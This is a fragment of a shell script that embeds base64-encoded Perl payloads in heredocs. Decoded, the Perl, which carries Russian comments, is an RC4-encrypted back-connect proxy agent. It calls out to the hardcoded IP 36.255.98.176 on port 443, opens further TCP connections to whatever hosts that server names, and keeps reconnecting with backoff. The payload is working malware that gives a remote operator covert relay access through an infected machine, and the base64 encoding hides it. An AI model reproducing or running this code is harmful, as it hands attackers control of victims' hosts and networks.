ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_18() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
